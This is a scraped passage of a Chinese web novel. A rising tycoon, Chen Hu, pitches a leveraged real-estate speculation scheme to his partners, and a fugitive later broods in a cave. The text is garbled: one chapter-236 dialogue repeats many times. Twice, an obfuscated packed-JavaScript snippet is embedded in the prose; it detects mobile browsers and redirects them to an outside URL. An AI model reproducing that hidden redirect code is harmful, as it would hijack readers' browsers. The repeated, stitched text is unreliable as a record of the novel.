陈虎的声音再次响起,打断了成小天的思绪。 成小天听到这话,猛地抬起头,眼中闪过一丝惊讶。 “北部边境?” 他有些疑惑,不明白虎哥是什么意思。 陈虎将一份文件递给小天。 “跟毛熊的一个集团,洽谈一份合作协议。” 顿了顿,陈虎补充道:“文件内容,项目情况,合作细节,都在里面了,照做就行。” 成小天接过文件,双手紧紧地攥着,像是握着一块珍宝。 他知道,这是虎哥给他的一个机会,一个证明自己的机会。 “虎哥,我一定完成任务!” 成小天语气坚定,眼神之中,充满了斗志。 陈虎点了点头,挥了挥手。 “去吧!” 成小天起身,走到门口,却又被陈虎叫住了。 “小天!” 陈虎的声音低沉,带着一丝意味深长。 成小天停下脚步,转过身,疑惑地看着陈虎。 “无论什么时候,不要看形势如何,记得看人。” 陈虎这句话,像是箴言一般,在成小天的耳边回响。 成小天茫然地点了点头,将这句话牢牢地记在了心里。 接着推门而出,身影逐渐消失在了走廊的尽头。 陈虎看着成小天离去的背影,眼中闪过了一丝笑意。 成小天,你千万不要让我失望啊…… 棋局已经布下了,棋子也逐渐一一到位,至于剩下的,就交给天意吧! 第230章 世界和女人,我都要! 成小天走后,陈虎就在办公室里面忙到了傍晚,他揉了揉酸涩的眼睛,伸了个懒腰。 “咔哒!” 办公室的门被推开。 孙若薇带着一份夜宵和一瓶酒,缓缓走了进来。 陈虎的脸上随后露出了笑容,起身将孙若薇一把揽进怀里。 “怎么想起这个时候过来了?” 孙若薇轻轻挣脱开陈虎的怀抱,将手里的东西放在办公桌上。 “给你带了一些我亲手做的夜宵,还有一瓶家里从比利时带回来的起泡酒。” 陈虎接过便当,这才记起自己忙到现在还没吃晚饭。 他的肚子,也不合时宜的咕噜噜地叫了起来。 他有些不好意思地笑了笑。 “还真的饿了!” 说着,便打开便当盒,大口吃了起来。 孙若薇则从柜子上取下了两个杯子,各倒上三分之一杯酒水。 晶莹剔透的酒液在灯光下泛着金色的光芒,散发着淡淡的果香。 她拿着酒杯,来到办公桌前。 陈虎放下筷子,接过酒杯,与孙若薇轻轻碰了一下。 “谢谢!” 陈虎轻抿了一口,一股清洌的酒香在口中弥漫开来。 “黑狗那事儿,怎么解决的?”孙若薇放下酒杯,一脸关切地问道:“我让我爷爷帮忙,利用资源让市区的警力查捕了,却一直没有消息。” 陈虎闻言,笑呵呵地看着孙若薇,眼中满是宠溺。 “不用麻烦你爷爷去找人了。” 孙若薇闻言,有些疑惑。 “为什么?” “钱已经追回来了。” “那黑狗呢?” “这种人,无法控制自己的欲望,一时贪念已然毁掉了自己的后半生。” 陈虎顿了顿,语气之中,带着一丝不屑。 “他不敢再出现在我的眼前的。” 孙若薇听到这话,若有所思地点了点头。 “也是!他要是再出现,恐怕……” 孙若薇没有继续说下去,但意思已经很明显了。 陈虎的眼中,此时闪过一丝寒光。 “没有价值,更没有威胁!” 孙若薇闻言,掩嘴轻笑,眼波流转。 “那你说,我有没有价值?有没有威胁呢?” 陈虎放下酒杯,耸了耸肩,故作深沉。 “我听过一个有趣的说法。” 顿了顿,陈虎卖了个关子。 “男人依靠征服世界来征服女人!” 孙若薇挑了挑眉,饶有兴致地等着下文。 “女人靠征服男人来征服世界。” 陈虎的嘴角,这时候勾起一抹坏笑。 “当然,还有一种奇葩男人,依靠征服女人来征服世界。” 孙若薇听到这话,笑得花枝乱颤,伸出纤纤玉指点了点陈虎的胸口。 “那你呢?你是哪种男人?” 陈虎的眼神中,此时闪过一丝霸气。 “世界和女人,我都要!” 他顿了顿,语气之中,带着一丝玩世不恭。 “至于什么手段,我不在乎!” 孙若薇佯装生气地白了陈虎一眼。 “好大的口气!” 随后,孙若薇拿起酒杯,轻轻抿了一口。 “那我要是征服不了你呢?” 陈虎闻言,哈哈大笑,伸手刮了刮孙若薇的鼻子。 “那就等着被我征服吧!” 两人相视一笑,空气之中,弥漫着暧昧的气息。 孙若薇眼珠一转道:“不说这个了,夜宵好吃吗?” 孙若薇也识趣地没有追问,她知道有些事情陈虎不想说,自己也不便多问。 “好吃!比我妈做的还好吃!” 她笑吟吟地看着陈虎,眼中满是柔情。 陈虎闻言,心中一暖,伸手握住了孙若薇的手。 两人就这样静静地坐着,享受着这难得的温馨时刻。 窗外,夜色渐深。 次日清晨,马关口一家装潢古朴的饭店里,陈虎与成本西、孙若薇三人围坐在一张圆桌旁。 窗外车流喧嚣,屋内却弥漫着淡淡的饭菜香气。 成本西的脸色苍白,眼圈发黑,一副纵欲过度的模样。 陈虎不动声色地抿了口茶,心里暗笑:这小子,玩得够嗨啊! 这一切,自然都在陈虎的安排之中。 孙若薇看着成本西无精打采的样子,秀眉微蹙。 “成本西,你这样子怎么谈合作?好歹打起精神来!” 她的语气中,带着一丝责备,毕竟两家算是世交,她也有资格说几句。 成本西闻言,勉强挤出一丝笑容,喊了声“薇姐”。 “我知道轻重,薇姐放心!” 他心里却暗自叫苦:这几天都快被榨干了,哪还有精神? 孙若薇听到这话,这才稍稍满意地点了点头。 “陈虎,你考虑得怎么样了?” 成本西转向陈虎,语气之中,带着一丝试探。 陈虎放下茶杯,神情淡然。 “你们能给什么?” 成本西挺直了身子,努力让自己看起来精神一些。 “我们入资十万。” 顿了顿,成本西继续说道:“除了薇姐给出的政治资源,我们还能够提供更多的福利政策和税务减免。” 成本西随后抛出了一个重磅炸弹。 “只要你在半年内有正面盈利报表,我们就能够帮你拉来一百万的贷款。” 一百万! 在这个年代,绝对是天文数字! 陈虎闻言,依旧面不改色,内心却毫无波澜。 贷款也好,政治资源也罢,对他来说都是虚的。 他如今几处产业经过几次杠杆、扩建和孙老入股,估值已在三百万左右。 他们仅仅拿出十万资金,就想分走他手里百分之二十的股份,简直是痴人说梦。 但陈虎的脸上。却露出了淡淡的笑容。 “可以!” 陈虎点头答应下来。 “不过,这些都是小打小闹而已。” 陈虎的语气之中,带着一丝神秘。 “我有个项目,分到的蛋糕能够让大家都吃饱。” 他故意卖了个关子,观察着两人的反应。 成本西闻言,愣住了,眼中闪过一丝疑惑。 孙若薇则饶有兴致地看着陈虎,嘴角微微上扬。 她知道,陈虎又要搞大动作了。 饭桌上,气氛一时变得微妙起来。 陈虎的嘴角噙着一抹自信的笑容,心中早已有了盘算。 他知道,这场游戏才刚刚开始! 成本西的心里七上八下,完全摸不透陈虎的底细。 他原本以为十万资金加上政策扶持,已经是很大的诱惑了。 没想到陈虎竟然如此轻描淡写地答应下来,还说这只是小打小闹。 他到底还有什么底牌? 第231章 房地产 成本西偷偷的瞥了一眼孙若薇,发现她也是一脸好奇。 看来,连孙若薇也不知道陈虎的计划。 这顿时就让得成本西来了兴致。 “多大的蛋糕啊?陈虎,说出来也让我们见识见识!” 成本西故作轻松地问道,实则内心忐忑。 他斜睨着陈虎,试图从陈虎的脸上看出些什么。 “是啊!陈虎,你这葫芦里面到底卖的什么药?” 孙若薇也是一脸好奇地追问,美眸之中,闪烁着期待的光芒。 陈虎闻言,神秘一笑,然后打了个响指,吸引了成本西和孙若薇两人的注意力。 “房地产!” 陈虎缓缓的吐出这三个字,语气平静却掷地有声。 成本西和孙若薇两人闻言,都不由自主地皱起了眉头。 “房地产?” 成本西闻言,嗤之以鼻,语气之中,满是不屑。 “房子能挣几个钱?现在谁买房子啊?” 他心里暗想:这陈虎莫不是疯了? 在这个年代,房子就是个住的地方,哪有什么投资价值? 孙若薇虽然没有说话,但她的眼神之中,也是流露出了几分疑惑。 她想起陈虎之前的操作,陈氏粮农集团和医药厂,都是险中求胜,步步惊心。 这次的房地产,又会是什么样的局面? 陈虎看着两人的反应,心中了然。 摇了摇头,陈虎解释道: “如果房子仅仅是住所,当然不值钱。” 顿了顿,陈虎的语气随后变得深沉起来。 “但如果赋予了它商品的价值呢?” 成本西和孙若薇两人闻言,不由得都愣住了,不明白陈虎的意思。 “商品价值?” 成本西重复着这四个字,眼中闪过一丝茫然。 陈虎微微一笑,开始解释他的计划。 “房子本身不值钱,但地皮值钱。” 他伸出一根手指,点了点桌面。 “随着城市发展,土地资源会越来越稀缺。” “而房子,就是占据土地资源的载体。” “我们可以把房子包装成一种投资产品,一种身份的象征。” “让拥有房子,成为一种潮流,一种身份的象征。” 陈虎的语气里面充满蛊惑,仿佛在描绘一幅美好的蓝图。 “想想看,当所有人都想拥有一套属于自己的房子时,房价会怎么样?” 随后,陈虎便抛出了一个问题,让成本西和孙若薇两人思考。 孙若薇若有所思,眼中闪烁着精光。 “物以稀为贵,当房子成为稀缺资源时,它的价格自然会水涨船高。” 陈虎一字一句地说道,语气坚定而自信。 “到时候,我们手里的房子,就是一座座金山银山。” 陈虎的眼中闪烁着野心的光芒,仿佛已经看到了未来的辉煌。 成本西此时仍旧不太理解,有些疑惑道: “这……这真的可行吗?这个项目能有多大?你可是说足够我们名流会吃饱的。” 陈虎随后缓缓的竖起一根手指,并未作声。 “一百万?” 成本西率先不屑地嗤笑一声,伸出一根手指在空中晃了晃。 “一百万对于我们整个名流会而言,连个水响都听不见。” 他心里暗想:这陈虎莫不是在拿他寻开心? 陈虎闻言,只是轻轻的摇了摇头,然后嘴角勾起了一抹神秘的弧度。 “不对!” 他简短地吐出了两个字,语气却充满了笃定。 孙若薇见此,美眸之中异彩流转,黛眉微蹙,然后试探性地问道: “一千万?” 即便是一千万,也足够让人震惊了,在这个年代,这可不是一笔小数目。 孙若薇的心跳微微加速,难道陈虎真的有如此大的本事? 陈虎再次摇头,脸上依旧带着那抹让人捉摸不透的笑容。 “还不对!” 成本西这下子却是坐不住了,猛地拍桌而起,瞪大了眼睛,难以置信地问道: “一个亿?这怎么可能?!” 他指着陈虎,语气之中,充满了质疑。 “陈虎,你是在开什么玩笑?!” 一个亿,在这个年代,简直就是天文数字! 他觉得陈虎一定是疯了,才会说出如此荒诞的话来。 陈虎依旧保持着淡定的神情,缓缓摇了摇头,然后伸出一根手指,指向天空。 “再乘以十倍。” 他的语气平静,却如同惊雷一般,在成本西和孙若薇两人的耳边炸响。 十个亿?! 这下,两人都像是看疯子一般看向陈虎,眼中充满了震惊和疑惑。 成本西直接就傻眼了,指着陈虎,半天说不出话来。 他咽了口唾沫,感觉他的脑子有点不够用了。 “薇姐……” 他转头看向孙若薇,语气之中。带着一丝无奈。 “你男友……今天没吃药?” 孙若薇此时也深吸一口气,努力让她自己保持冷静。 她虽然相信陈虎的能力,但十个亿,这实在是太匪夷所思了。 “陈虎……”孙若薇忍不住开口问道:“这……十个亿,已经是全国产值的百分之二到百分之三之间了,这怎么可能?” 陈虎的神色认真,眼神之中,并且没有一丝玩笑之意。 “我从不说笑!”陈虎的语气坚定,一字一句地说道:“理论上就应该如此罢了!” 成本西和孙若薇两人都不由得呼吸急促起来,心脏砰砰直跳。 十个亿,这不仅仅是一个数字,更是一个巨大的诱惑,一个充满风险的挑战。 成本西眼眸微沉,语气也变得凝重起来。 “这个数额若是真的……” 顿了顿,成本西声音低沉地说道:“一个弄不好,大家都得掉脑袋!” 在这个年代,如此庞大的资金流动,必然会引起上面的注意。 稍有不慎,就会万劫不复。 陈虎目光锐利,直视着成本西,语气淡然地问道:“怕了?” 说完,陈虎儒雅一笑,目光扫过成本西和孙若薇两人,仿佛一切尽在掌握。 而后,陈虎自顾自的端起茶杯,轻轻抿了一口,眼神深邃,仿佛穿透了时空,看到了未来。 成本西咬了咬牙,内心挣扎不已。 十个亿,这个数字对于他来说,诱惑力实在是太大了。 但同时,风险也高得令人窒息。 犹豫了半响,陈本西最终还是抵挡不住这巨大的诱惑。 “陈虎!”成本西深吸一口气,语气凝重地说道:“你得说说你的具体计划。” 成本西目光灼灼地盯着陈虎,仿佛要看穿陈虎的一切。 “我需要知道,你这十个亿,到底是怎么算出来的!” 顿了顿,成本西又补充道:“剩下的,我需要和名流会的其他人商量一下。” 成本西心里清楚,这么大的事情,他一个人做不了决定。 陈虎微微一笑,似乎早就料到了成本西的反应,语气平静的回道: “这是应该的!” 第232章 将规模做大 尽管在成本西的认知里面,陈虎说的这个项目仿佛天方夜谭一样。 但有孙若薇与陈虎两人先前执行的项目做背书,还有孙老爷子的投资做背书。 成本西还是有些意动。 十个亿这个数字,还是太过于吓人了。 这么大的蛋糕,再加上陈虎说的,往后的五到十年内,这个项目的体量会十倍、百倍增长。 那就算是分着吃,也有可能噎死人! 但若是吃下了呢? 成本西太清楚那意味着什么了。 意味着他将会从一个依靠家族父母权势,而不学无术的纨绔子弟的存在,逐渐成为家里的主心骨,顶梁柱! 权力,地位,金钱,唾手可得! 更重要的是被家族所认可,主导自己的人生! 成本西深吸一口气,努力压抑住他内心的激动。 他舔了舔有些干燥的嘴唇,接着询问陈虎这个项目的具体内容。 陈虎随即放下茶杯,身子微微前倾,眼神之中,闪烁着自信的光芒。 “当房子被赋予了商品价值,有了投资属性,那就不再是简单的住所了!” 陈虎的语气低沉而富有磁性,每一个字都仿佛带着魔力,敲击着成本西的心房。 “我们只需要搞定容积率的问题,将配套设施搭建,然后不断杠杆……” 陈虎的嘴角,随后勾起一抹神秘的微笑,仿佛在描绘一幅宏伟的蓝图。 成本西听得晕乎乎的,这些词汇他都听说过,但组合在一起,却让他感觉像是在听天书。 他用力揉了揉太阳穴,试图理解陈虎话里的意思。 “等等,等等……” 成本西打断了陈虎的话,眉头紧锁。 “十个亿得修多少房子?” 他掰着手指头,开始粗略地计算。 “那不得盖到下辈子?” 成本西的语气之中,充满了难以置信。 他想象着一片片拔地而起的楼房,一眼望不到边,不禁感到一阵头晕目眩。 陈虎看着成本西的反应,眼中闪过了一丝不易察觉的笑意。 孙若薇秀眉微蹙,轻轻放下茶杯。 “就算能建这么多房子,那怎么卖出去呢?”孙若薇一脸疑惑的看着陈虎,等待着陈虎的解答。 成本西这时候猛地一拍大腿,仿佛找到了反击的点一样。 “对啊!”成本西随后附和道:“你刚才说的杠杆,不就是借钱吗?” “要是房子卖不出去,那不就全砸手里了吗?” 成本西的脸上露出了几分得意之色,语气夸张地说道:“到时候,大家一起玩完!” 成本西仿佛看到了陈虎破产的场景,心中暗爽不已。 陈虎此时嘴角微微上扬,露出一抹自信的笑容。 “卖出去从来不是问题!” 陈虎的语气平静而坚定,仿佛一切尽在掌握。 “凭什么?” 成本西脱口而出,语气之中,带着一丝挑衅。 “就凭现在,我可以把手里的这个笔记本卖给你。” 陈虎说着,从包里面掏出一个普通的笔记本。 成本西闻言,不屑地撇了撇嘴道:“我凭什么要买你的笔记本?” 他的语气之中,充满了轻蔑。 “你会买的!” 陈虎胸有成竹地说道:“因为这里面,有这个项目的一些具体内容。” 顿了顿,陈虎又补充道:“你去找你的名流会朋友商量的时候,会需要上面的资料。” 陈虎的目光紧紧地盯着成本西,仿佛能看穿成本西的一切心思。 成本西顿时语塞,脸色涨红,他下意识地摸了摸口袋,又看了看陈虎手中的笔记本。 内心挣扎了片刻,成本西最终还是无奈地点了点头。 “我的确需要这个笔记本!” 成本西的语气有些低沉,随后又反问道:“但那又如何?” 此时,成本西仍然试图挽回一些面子。 孙若薇则一直在一旁保持着沉默,她的眼神之中,闪烁着若有所思的光芒,她似乎已经隐隐抓住了陈虎话里的关键。 “没有需求,那就制造需求!” 陈虎的语气铿锵有力,掷地有声。 “制造刚需,就是卖出房子的关键!” 说到这里,陈虎的眼神之中,闪烁着智慧的光芒。 “房子本身不值钱。”顿了顿,陈虎继续说道:“但如果把它和家庭、婚姻联系起来呢?” 这时候,陈虎伸出了一根手指。 “便利的交通、医院、学校……” 随后,陈虎又伸出了一根手指。 “一个是事关父母健康为孝道,一个是孩子未来,全家大事。” 接着,陈虎又竖起了第三根手指。 “结婚的新房,父母健康的保障,孩子的未来……” 陈虎的语气逐渐高昂,每一个字都敲击着成本西和孙若薇的心房。 “再加上投资增值的属性……” 这时候,陈虎的嘴角却是勾起了一抹意味深长的微笑。 “房价只会越来越高!” 陈虎的语气之中,此时充满了自信和笃定。 成本西听得目瞪口呆,仿佛醍醐灌顶一般。 孙若薇则眼神微妙,她意识到陈虎不仅仅是一个商人,更是一个洞悉人性的高手。 陈虎接着不紧不慢的解释道: “‘制造刚需’是指通过特定的营销、宣传或产品设计等手段,创造出一种消费者感到必须购买的需求。这里的‘刚需’通常指的是那些不可或缺、在生活中必需的需求。” “不仅仅是房子,哪怕是钻石也一样。” “钻石的珍贵在于其稀有,这是毫无疑问的。” “而钻石市场被垄断之后,钻石商人将其与爱情、婚姻挂钩,高价卖出,而那些消费者是为钻石的珍惜买单吗?” “不!他们是在为钻石所寓意的爱情买单!” 陈虎随后端起茶杯,轻抿了一口,润了润嗓子。 “关于怎么建这么多房子……” 放下茶杯,陈虎的眼神之中,闪过了一丝精光。 “首先,我们将产业核心模型放到沙丘市。” 陈虎顿了顿,环视了一下成本西和孙若薇两人。 “我们各自出资占股,成立一个房地产开发集团。” “比例先不着急谈。” 陈虎微微一笑,仿佛胸有成竹一样。 “接着,就是用地皮和房产来回杠杆。” 这时候,陈虎做了个向上抬的手势。 “将规模扩大!” 第233章 房子还能用来炒? 成本西听得云里雾里,眉头紧锁。 他感觉他自己像是在听天书一般。 孙若薇则若有所思地点了点头,似乎理解了陈虎的意思。 但她的心中,却仍然有一个疑问。 “如果按照你说的商品属性,还有能投资的增值属性……”孙若薇秀眉微蹙道:“那岂不是说这些房子的定价要很高了吗?” 她的语气之中,带着一丝担忧。 “那有多少人买得起?” 孙若薇问完后,又补充道:“还有,这个增值属性,又该如何解决?” 她目光灼灼地盯着陈虎,等待着他的解答。 成本西闻言,也是一脸好奇的盯着陈虎,希望陈虎能够解释清楚。 陈虎闻言笑了笑,然后不慌不忙地解释道: “第一,用顾客信用背书,让大家都能买得起房。” 这时候,陈虎突然伸出了一根手指。 “找银行签订贷款合同,分期偿还房贷。” 陈虎语气的平静,却又十分自信。 “这样的话,即使是收入不高的人,也能买得起房子。” 顿了顿,陈虎继续说道: “第二,房子如何解决增值属性?” 说到这里,陈虎的嘴角却是勾起一抹神秘的微笑。 “你们记住一句话,房子是用来炒的,而不是用来住的。” 这句话如同一道惊雷,在成本西和孙若薇两人的脑海之中炸响。 成本西瞪大了眼睛,嘴巴张得老大,仿佛听到了什么不可思议的事情。 他心中暗想:房子还能用来炒? 孙若薇则是陷入了沉思,她意识到陈虎的这句话背后,隐藏着巨大的商机。 同时,也蕴含着巨大的风险。 她的心中暗自思量:这究竟是天才的构想,还是疯子的呓语? 陈虎接下来却是更为详细的向孙若薇和成本西两人,说明了整个项目的安排。 …… 直到天色全然黑了下来,陈虎才将整个蓝图简略地铺开在孙若薇和成本西两人的眼前。 “成!我会尽快与会内的成员们商议的,至于占股的事儿,等到大家把出资预算给出来,我们再商量!” 成本西突然猛地一拍桌子,兴奋地搓着手。 他两眼放光,仿佛已经看到了金山银山在向他招手。 “陈虎,你这脑子,真是绝了!不过要是有个万一,被上面下场制裁,我们都得玩完。” 成本西竖起大拇指,毫不吝啬地夸赞道,但仍旧有些犹豫。 陈虎闻言,只是淡淡一笑,眼中却是闪过了一丝不易察觉的精芒。 “过奖了!互利共赢罢了!有你们的政治资源,还担心这个吗?” 说完,陈虎端起茶杯,轻轻的抿了一口。 成本西听了陈虎的话,不由得点点头。 的确,有名流会的政治资源,他们不用太过于担心,只要不暴雷,那就什么都好说! “不过,这只是第一步。” 陈虎放下茶杯,眼神变得深邃起来。 “接下来,还有更重要的布局。” 成本西闻言,连忙收敛笑容,正襟危坐,洗耳恭听。 他知道,陈虎接下来要说的话,才是真正的关键。 “若薇。” 陈虎转向孙若薇,语气变得郑重起来。 “沙丘市那边,就先麻烦你跑一趟了。” 孙若薇闻言,微微颔首,眼中闪烁着自信的光芒。 “放心!我一定不负所托!” “等沙丘市的产业核心模型搭建完成。”陈虎顿了顿,环视了一下眼前两人,语气认真的说道: “我们就启动天使投资合伙人制度。” 说到这里,陈虎的眼中,却是闪烁着野心勃勃的光芒。 “将这个模式,席卷全国!” 成本西听得热血沸腾,恨不得立刻插上翅膀飞到沙丘市,他仿佛已经看到了他站在财富巅峰的景象。 孙若薇闻言,则是深吸了一口气,努力平复着她激动的心情。 她意识到,她即将参与到一场足以改变时代的商业变革中。 “陈虎。”孙若薇略带担忧地问道:“这个天使投资合伙人制度,具体该如何操作呢?” 孙若薇的心中,充满了疑问,迫切地想要了解其中的细节。 陈虎却是微微一笑,胸有成竹地说道: “很简单!” 随后,陈虎伸出了一根手指。 “等到产业模型搭建完毕,我们将全国寻找合伙人,给出一笔为期五年的天使投资。” 接着,陈虎又伸出一根手指。 “等到楼盘建成,他们可以选择认购我们的等额股份,成为我们的一份子,或者拿钱走人。” 顿了顿,陈虎又补充道: “当然,我们作为发起人,拥有绝对的控股权。” 成本西听得连连点头,对陈虎的计划表示赞同。 他心中暗想:这小子,真是个商业奇才! 孙若薇则陷入了沉思,仔细琢磨着陈虎的每一句话。 她意识到这个天使投资合伙人制度,不仅可以快速扩张规模,还能有效分散风险。 “好!” 孙若薇要先走一步,成本西却不得不留下,等到沟通完股份协议,才能抽身离去。 “若薇姐,那你注意安全,我在这儿等着签订合同的期间,会帮你盯着陈虎,让这厮不敢瞎搞的。”成本西突然凑到孙若薇旁边低语道。 孙若薇闻言,却是狠狠瞪了成本西一眼,然后望向陈虎,含情脉脉道:“那……我们电话联系!” 陈虎微微颔首道:“注意安全,有事儿给我打电话!” 两人暧昧的对话,让得成本西瞬间有种成了灯泡的感觉,十分不自在。 孙若薇随后深深看了一眼陈虎,接着说道:“我要回去和爷爷说一下,你帮我看着小西,别让他惹事儿。” 成本西与孙若薇家里属于世交,两人也算是发小。 见孙若薇这般说,成本西顿时不乐意道:“若薇姐,分明是我帮你盯着陈虎才对!” 孙若薇听到成本西这话,却是没应声,接着起身离去。 看着孙若薇出门上车,成本西这才转过头,恶狠狠盯着陈虎道:“你喜欢若薇姐吗?你最好不要瞎搞,你要是敢欺骗我若薇姐感情,你就等着完蛋吧!” 陈虎闻言,却是不以为意摇了摇头道:“喜欢吗?你认为喜欢是什么?爱情又是什么?” 成本西听到陈虎的问话,当即随口回答道:“切!爱情不就是两个人看对眼,然后约会上床造娃嘛!” 第236章 强者,永远都在路上! 陈虎听了易天行的话后,不由得抬头,有些好奇的看向易天行。 “那该如何才能避免成为被环境塑造的弱者?” 易天行听到陈虎的询问,却是伸了个懒腰回道:“保持清醒!认清自己真正想要的是什么,不被外界的诱惑所迷惑!” 陈虎听了易天行的话后,不由得抬头,有些好奇的看向易天行。 “那该如何才能避免成为被环境塑造的弱者?” 易天行听到陈虎的询问,却是伸了个懒腰回道:“保持清醒!认清自己真正想要的是什么,不被外界的诱惑所迷惑!” 陈虎听了易天行的话后,不由得抬头,有些好奇的看向易天行。 “那该如何才能避免成为被环境塑造的弱者?” 易天行听到陈虎的询问,却是伸了个懒腰回道:“保持清醒!认清自己真正想要的是什么,不被外界的诱惑所迷惑!” 陈虎听了易天行的话后,不由得抬头,有些好奇的看向易天行。 “那该如何才能避免成为被环境塑造的弱者?” 易天行听到陈虎的询问,却是伸了个懒腰回道:“保持清醒!认清自己真正想要的是什么,不被外界的诱惑所迷惑!” 陈虎听了易天行的话后,不由得抬头,有些好奇的看向易天行。 “那该如何才能避免成为被环境塑造的弱者?” 易天行听到陈虎的询问,却是伸了个懒腰回道:“保持清醒!认清自己真正想要的是什么,不被外界的诱惑所迷惑!” 陈虎听了易天行的话后,不由得抬头,有些好奇的看向易天行。 “那该如何才能避免成为被环境塑造的弱者?” 易天行听到陈虎的询问,却是伸了个懒腰回道:“保持清醒!认清自己真正想要的是什么,不被外界的诱惑所迷惑!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779791|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈虎听了易天行的话后,不由得抬头,有些好奇的看向易天行。 “那该如何才能避免成为被环境塑造的弱者?” 易天行听到陈虎的询问,却是伸了个懒腰回道:“保持清醒!认清自己真正想要的是什么,不被外界的诱惑所迷惑!” 陈虎听了易天行的话后,不由得抬头,有些好奇的看向易天行。 “那该如何才能避免成为被环境塑造的弱者?” 易天行听到陈虎的询问,却是伸了个懒腰回道:“保持清醒!认清自己真正想要的是什么,不被外界的诱惑所迷惑!” 陈虎听了易天行的话后,不由得抬头,有些好奇的看向易天行。 “那该如何才能避免成为被环境塑造的弱者?” 易天行听到陈虎的询问,却是伸了个懒腰回道:“保持清醒!认清自己真正想要的是什么,不被外界的诱惑所迷惑!” 第236章 强者,永远都在路上! 陈虎听了易天行的话后,不由得抬头,有些好奇的看向易天行。 “那该如何才能避免成为被环境塑造的弱者?” 易天行听到陈虎的询问,却是伸了个懒腰回道:“保持清醒!认清自己真正想要的是什么,不被外界的诱惑所迷惑!” 陈虎听了易天行的话后,不由得抬头,有些好奇的看向易天行。 “那该如何才能避免成为被环境塑造的弱者?” 易天行听到陈虎的询问,却是伸了个懒腰回道:“保持清醒!认清自己真正想要的是什么,不被外界的诱惑所迷惑!” 陈虎听了易天行的话后,不由得抬头,有些好奇的看向易天行。 “那该如何才能避免成为被环境塑造的弱者?” 易天行听到陈虎的询问,却是伸了个懒腰回道:“保持清醒!认清自己真正想要的是什么,不被外界的诱惑所迷惑!” 陈虎听了易天行的话后,不由得抬头,有些好奇的看向易天行。 “那该如何才能避免成为被环境塑造的弱者?” 易天行听到陈虎的询问,却是伸了个懒腰回道:“保持清醒!认清自己真正想要的是什么,不被外界的诱惑所迷惑!” 陈虎听了易天行的话后,不由得抬头,有些好奇的看向易天行。 “那该如何才能避免成为被环境塑造的弱者?” 易天行听到陈虎的询问,却是伸了个懒腰回道:“保持清醒!认清自己真正想要的是什么,不被外界的诱惑所迷惑!” 陈虎听了易天行的话后,不由得抬头,有些好奇的看向易天行。 “那该如何才能避免成为被环境塑造的弱者?” 易天行听到陈虎的询问,却是伸了个懒腰回道:“保持清醒!认清自己真正想要的是什么,不被外界的诱惑所迷惑!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779791|153634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈虎听了易天行的话后,不由得抬头,有些好奇的看向易天行。 “那该如何才能避免成为被环境塑造的弱者?” 易天行听到陈虎的询问,却是伸了个懒腰回道:“保持清醒!认清自己真正想要的是什么,不被外界的诱惑所迷惑!” 陈虎听了易天行的话后,不由得抬头,有些好奇的看向易天行。 “那该如何才能避免成为被环境塑造的弱者?” 易天行听到陈虎的询问,却是伸了个懒腰回道:“保持清醒!认清自己真正想要的是什么,不被外界的诱惑所迷惑!” 陈虎听了易天行的话后,不由得抬头,有些好奇的看向易天行。 “那该如何才能避免成为被环境塑造的弱者?” 易天行听到陈虎的询问,却是伸了个懒腰回道:“保持清醒!认清自己真正想要的是什么,不被外界的诱惑所迷惑!” 第237章 怎么前世没那么多的情感纠葛? 包专太清楚陈虎的狠辣了。 几个月前,陈虎还只是个默默无闻的猎户。 现在,陈虎已经是粮农集团的掌舵人,连县长都得对他陪笑脸。 更别说,陈虎还和孙家的小姐孙若薇有着男女关系。 孙家,一个京圈的大家族,当初孙老退隐下来到马关口养老,一群县委班子骨干过来拜访,可是连大门都进不去的! 陈虎的崛起速度,简直匪夷所思。 包专想起第一次见到陈虎的场景。 那时马加爵正来到镇上,想寻陈虎麻烦。 包专受到成小天指派,去给那时候就小有名声的陈虎报信,那时候的陈虎望向他时,眼神锐利得像鹰隼。 后来,陈虎带着包专去山里打猎,一枪一个,野兔野鸡,弹无虚发。 再然后,马加爵一伙人,全部都留在了上河村以东的那处荒地里。 这样的人,怎么杀? 包专想起他被陈虎通缉的窘境。 他偷了公司的钱,有家不能回,只能像丧家之犬一样四处躲藏。 连马关口都不敢踏入一步。 他恨陈虎吗? 恨! 可他更怕陈虎。 他太清楚陈虎如今的地位的含金量了。 他与陈虎同样的起点,比陈虎几乎年长十岁。 可陈虎却用了几个月做成了他一辈子都不敢想的数件事情。 他想起他做过学徒的那些日子。 修车铺、小餐馆、木匠、泥瓦匠、电工…… 没有一样他能做好。 他就像是被社会抛弃的垃圾,一无是处。 直到跟了成小天,进了成枝豹的场子,他才勉强能够养活自己和家人。 而陈虎,却在这个时代,活得风生水起。 包专对陈虎的敬仰,是打骨子里来的。 他与陈虎完全相处同样的起跑线境地,但他亲眼见证陈虎的崛起,然后再审视陈虎这个人物,就犹如一粒蜉蝣见青天! 包专看着熟睡的郎湘等人,心中不由得再次燃起一丝希望。 或许,杀了他们,才是唯一的出路。 他只需要解决这三个人,再加上洞外的弗兰克。 四个人而已。 可他最终还是放弃了。 他能够感觉到,这四个人训练有素,绝非等闲之辈。 他们身上的杀气,让包专不寒而栗。 他们很可能是传说中的九头蛇组织的人。 他不敢赌。 他赌不起。 他只能继续等待,等待命运的安排。 火星渐渐熄灭,山洞里面,顿时陷入一片黑暗。 包专不由得闭上眼睛,心中充满了绝望和恐惧。 